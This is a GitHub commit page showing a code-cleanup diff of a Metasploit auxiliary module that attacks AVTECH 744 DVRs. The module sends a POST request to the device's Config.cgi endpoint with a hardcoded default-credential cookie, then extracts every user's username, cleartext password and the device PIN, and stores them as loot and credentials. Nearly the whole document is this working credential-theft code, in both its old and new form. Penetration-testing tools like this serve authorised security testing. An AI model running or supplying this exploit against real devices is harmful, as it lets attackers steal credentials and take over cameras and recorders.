Skip to content

Commit 8338b21

Browse files
jvazquez-r7jvazquez-r7
committed
Make some code cleanup
1 parent a3ff985 commit 8338b21

File tree

1 file changed

+96
-98
lines changed

1 file changed

+96
-98
lines changed

‎modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb

Lines changed: 96 additions & 98 deletions
Original file line numberDiff line numberDiff line change
@@ -1,110 +1,108 @@
11
require 'msf/core'
22

3-
class Metasploit3 < Msf::Auxiliary
4-
5-
include Msf::Exploit::Remote::HttpClient
6-
include Msf::Auxiliary::Report
7-
8-
def initialize(info = {})
9-
super(update_info(info,
10-
'Name' => 'AVTECH 744 DVR Account Information Retrieval',
11-
'Description' => %q{
12-
This module will extract the account information from the DVR,
13-
including all user's usernames and cleartext passwords plus
14-
the device PIN, along with a few other miscellaneous details.
15-
},
16-
'Author' => [ 'nstarke' ],
17-
'License' => MSF_LICENSE
18-
))
19-
20-
register_options(
21-
[
22-
Opt::RPORT(80),
23-
], self.class)
3+
class Metasploit3 < Msf::Auxiliary
4+
5+
include Msf::Exploit::Remote::HttpClient
6+
include Msf::Auxiliary::Report
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'AVTECH 744 DVR Account Information Retrieval',
11+
'Description' => %q{
12+
This module will extract the account information from the DVR,
13+
including all user's usernames and cleartext passwords plus
14+
the device PIN, along with a few other miscellaneous details.
15+
},
16+
'Author' => [ 'nstarke' ],
17+
'License' => MSF_LICENSE
18+
))
19+
end
20+
21+
22+
def run
23+
res = send_request_cgi({
24+
'method' => 'POST',
25+
'uri' => '/cgi-bin/user/Config.cgi',
26+
'cookie' => 'SSID=YWRtaW46YWRtaW4=;',
27+
'vars_post' => {
28+
'action' => 'get',
29+
'category' => 'Account.*'
30+
}
31+
})
32+
33+
unless res
34+
fail_with(Failure::Unreachable, 'No response received from the target')
35+
end
36+
37+
unless res.code == 200
38+
fail_with(Failure::Unknown, 'An unknown error occured')
39+
end
40+
41+
raw_collection = extract_data(res.body)
42+
extract_creds(raw_collection)
43+
44+
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
45+
print_good("avtech744.dvr.accounts stored in #{p}")
46+
end
47+
48+
def extract_data(body)
49+
raw_collection = []
50+
body.each_line do |line|
51+
key, value = line.split('=')
52+
if key && value
53+
_, second, third = key.split('.')
54+
if third
55+
index = second.slice(second.length - 1).to_i
56+
raw_collection[index] = raw_collection[index] ||= {}
57+
case third
58+
when 'Username'
59+
raw_collection[index][:username] = value.strip!
60+
when 'Password'
61+
raw_collection[index][:password] = value.strip!
62+
end
63+
elsif second.include?('Password')
64+
print_good("PIN Retrieved: #{key} - #{value.strip!}")
2465
end
66+
end
67+
end
2568

69+
raw_collection
70+
end
2671

27-
def run
28-
res = send_request_cgi({
29-
'method' => 'POST',
30-
'uri' => '/cgi-bin/user/Config.cgi',
31-
'cookie' => 'SSID=YWRtaW46YWRtaW4=;',
32-
'vars_post' => {
33-
'action' => 'get',
34-
'category' => 'Account.*'
35-
}
36-
})
72+
def extract_creds(raw_collection)
73+
raw_collection.each do |raw|
74+
unless raw
75+
next
76+
end
3777

38-
unless res
39-
fail_with(Failure::Unreachable, "No response received from the target")
40-
end
78+
service_data = {
79+
address: rhost,
80+
port: rport,
81+
service_name: 'http',
82+
protocol: 'tcp',
83+
workspace_id: myworkspace_id
84+
}
4185

42-
unless res.code == 200
43-
fail_with(Failure::Unknown, "An unknown error occured")
44-
end
86+
credential_data = {
87+
module_fullname: self.fullname,
88+
origin_type: :service,
89+
private_data: raw[:password],
90+
private_type: :password,
91+
username: raw[:username]
92+
}
4593

46-
raw_collection = extract_data(res.body)
47-
extract_creds(raw_collection)
94+
credential_data.merge!(service_data)
4895

49-
p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
50-
print_good("avtech744.dvr.accounts stored in #{p}")
51-
end
96+
credential_core = create_credential(credential_data)
5297

53-
def extract_data(body)
54-
raw_collection = []
55-
body.each_line do |line|
56-
key, value = line.split('=')
57-
if key && value
58-
_, second, third = key.split('.')
59-
if third
60-
index = second.slice(second.length - 1).to_i
61-
raw_collection[index] = raw_collection[index] ||= {}
62-
case third
63-
when "Username"
64-
raw_collection[index][:username] = value.strip!
65-
when "Password"
66-
raw_collection[index][:password] = value.strip!
67-
end
68-
elsif second.include? "Password"
69-
print_good("PIN Retrieved: #{key} - #{value.strip!}")
70-
end
71-
end
72-
end
73-
raw_collection
74-
end
98+
login_data = {
99+
core: credential_core,
100+
status: Metasploit::Model::Login::Status::UNTRIED
101+
}
75102

76-
def extract_creds(raw_collection)
77-
raw_collection.each do |raw|
78-
if raw
79-
service_data = {
80-
address: rhost,
81-
port: rport,
82-
service_name: 'http',
83-
protocol: 'tcp',
84-
workspace_id: myworkspace_id
85-
}
86-
87-
credential_data = {
88-
module_fullname: self.fullname,
89-
origin_type: :service,
90-
private_data: raw[:password],
91-
private_type: :password,
92-
username: raw[:username]
93-
}
94-
95-
credential_data.merge!(service_data)
96-
97-
credential_core = create_credential(credential_data)
98-
99-
login_data = {
100-
core: credential_core,
101-
status: Metasploit::Model::Login::Status::UNTRIED
102-
}
103-
104-
login_data.merge!(service_data)
105-
106-
create_credential_login(login_data)
107-
end
108-
end
109-
end
103+
login_data.merge!(service_data)
104+
105+
create_credential_login(login_data)
110106
end
107+
end
108+
end

0 commit comments

Comments
 (0)